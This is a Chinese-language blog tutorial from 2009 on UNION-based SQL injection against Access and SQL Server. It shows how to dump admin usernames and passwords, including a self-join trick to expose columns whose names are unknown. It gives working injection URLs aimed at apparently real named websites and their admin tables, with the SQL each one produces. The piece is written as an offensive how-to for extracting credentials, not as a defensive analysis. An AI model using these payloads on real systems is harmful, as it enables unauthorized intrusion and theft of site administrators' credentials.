专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » sqlserver数据库:直接获取access、SQL Server等数据库数据 »正文

sqlserver数据库:直接获取access、SQL Server等数据库数据

来源: 发布时间:星期六, 2009年9月12日 浏览:2次 评论:0
1.使用access数据库系统存在SQL注入漏洞;mssql数据库也支持这个技术
2.需要知道欲爆数据所在表名以及这个表下个字段名般都是id字段 
    使用本技术显而易见优势在于:
1.可以不需要'引号过滤'引号对本技术没有影响
2.可以快速知道敏感数据内容而不必像以往样慢慢猜解中文、特殊等等都通杀
3.在SQL Server屏蔽了信息的后仍然可以快速得到敏感数据内容
4.可以在不知道关键(欲知数据)字段名情况下仍然能够获取到欲知数据
    咋看可能这个技术很难其实很简单共有两个难点个难点在看到结果以后都很容易想到但是第 2个难点却确有点点麻烦
    首先看个表格是union语法这也是爆出数据主要原理如下图所示:    当我们使用SQL Inject技术插入union语句以后只要两个select查询得到列数相同那么整条SQL语句执行完成以后得到查询结果就变成了union后面select得到数据所以就有可能将我们所需要数据爆出来来看个简单例子:

http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin


    这是个SQL Server服务器关闭了信息回报所以不能够按照以往思路方法直接得到敏感数据通过SQL Inject插入union语句以后可以大胆猜测到所执行SQL语句变成了:

select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin


    那么在正常情况下显示Soft第1、2个字段值得地方就会显示adminusername和password字段后面3个1也是同理替代了按照这个特性我们当然也可以直接得到Admin_UserInfo表里面username和password字段构造语句如下所示:

http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>''


    以上就是简单利用union来实现对敏感数据获取而不通过复杂暴力拆解为了实现在不知道字段名同样能够得到其中数据这个目时候我们当然就应该想到使用*来代替字段名这样只要*所代表字段再加上几个1数目和脚本中select查询表中字段数目相同那么就同样可以得到不知道字段名数据了
    考虑到这样种情况有这样条语句:select id,hit,softname,softURL from soft where id=10其中能够在网页中正常显示出来字段是softname和softURL那么我们在使用union时候就应该调整*所在位置般admin表中结构为id username password那么在注入上面这条假设语句时候就应该这样构造SQL语句:select 1,* from admin使*所代替username和pssword字段处于softname和softURL两个字段位置上这样网页才能够将我们想要得username和password字段乖乖交出来当然这里只是最简单个例子来介绍说明有很多时候个表里面可能有十几个字段我遇到最长是 4十 3个字段那么脚本中使用select *来做查询我们在构造union select就应该用1凑数到 4十 3个字段其中当然是会有些字段不被网页显示出来这就需要考虑union select后面*号所在位置了相信这个应该不用我多说了
    上面说语法完全符合SQL Server但是Access和SQL Server相比较是小巫见大巫了在SQL Server里面当我们使用select *,1,1,1 from admin语句查询得到记录集合分别是:* 1 1 1但是在access当中上面这条语句查询结果是1 1 1 *也就是说无论你将*号处于这群1中间什么位置上*所代表数据总是处于查询结果最后面个复杂点例子作介绍说明:

http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)


    这个站点使用是access数据库可以看到能够正常显示出来字段是2、3、7、8、10、11而后面字段却不会显示出来去掉14,15,16换上*号页面同样显示出数字也就是说admin中字段数是 3个肯定是id username password这种结构但是除了id字段其他字段都不能够被猜测出名字按照在上面SQL Server中所使用思路方法移动*号位置以求能够将敏感数据爆出来在access中是不可行原因是access始终将*好所代替字段放在查询数据集最后面Access查询出来结果永远都是:1,2,3,4,5,6,7,8,9,10,11,12,13*这个样子为了将*好所代替字段表示出来我们必须将*所代替字段移动到其他位置上先看结果:

http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id


    通过这样构造语句执行最终查询得到数据形式是
1 2     3    4    5   6     7    8   9     10   11   12   13   14   15    16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd
   其中第3和第7个字段正好就是我们想要得username和password字段这里我使用是join语法将两个表连接(相加)起来从而构造得到这样个满足我们要求查询结果
    Join分为全部连接、左连接和右连接具体区别可以去查看SQL语法在这里access中我们不管选择哪种连接方式效果都等同于全部连接个简单join语法

SELECT *
FROM (表1 INNER JOIN 表2 ON 表1.序号=表2.序号)
INNER JOIN 表3 
ON 表1.序号=表3.序号


    转换为例子就是:

select 1,2,3,4,* 
from ((admin as a inner join admin as b on a.id=b.id) 
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id


    按照这种格式就可以把上面那个url真正执行SQL语句解出来无非就是不断使用join连接数据表admin然后通过1来补齐前面字段数目只要语句构建得当那么不知道字段名数据全部都能够在页面中显示出来这就是这个技术难点所在了
    好了全部都介绍完了如果想把这个技术写成也是很有可能只不过在语句结构构造时候最好还是使用人脑吧~~~呵呵



  • 篇文章: 用VB实现“木马”式隐形运行

  • 篇文章: 在ASP中利用COM组件开发Web应用
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: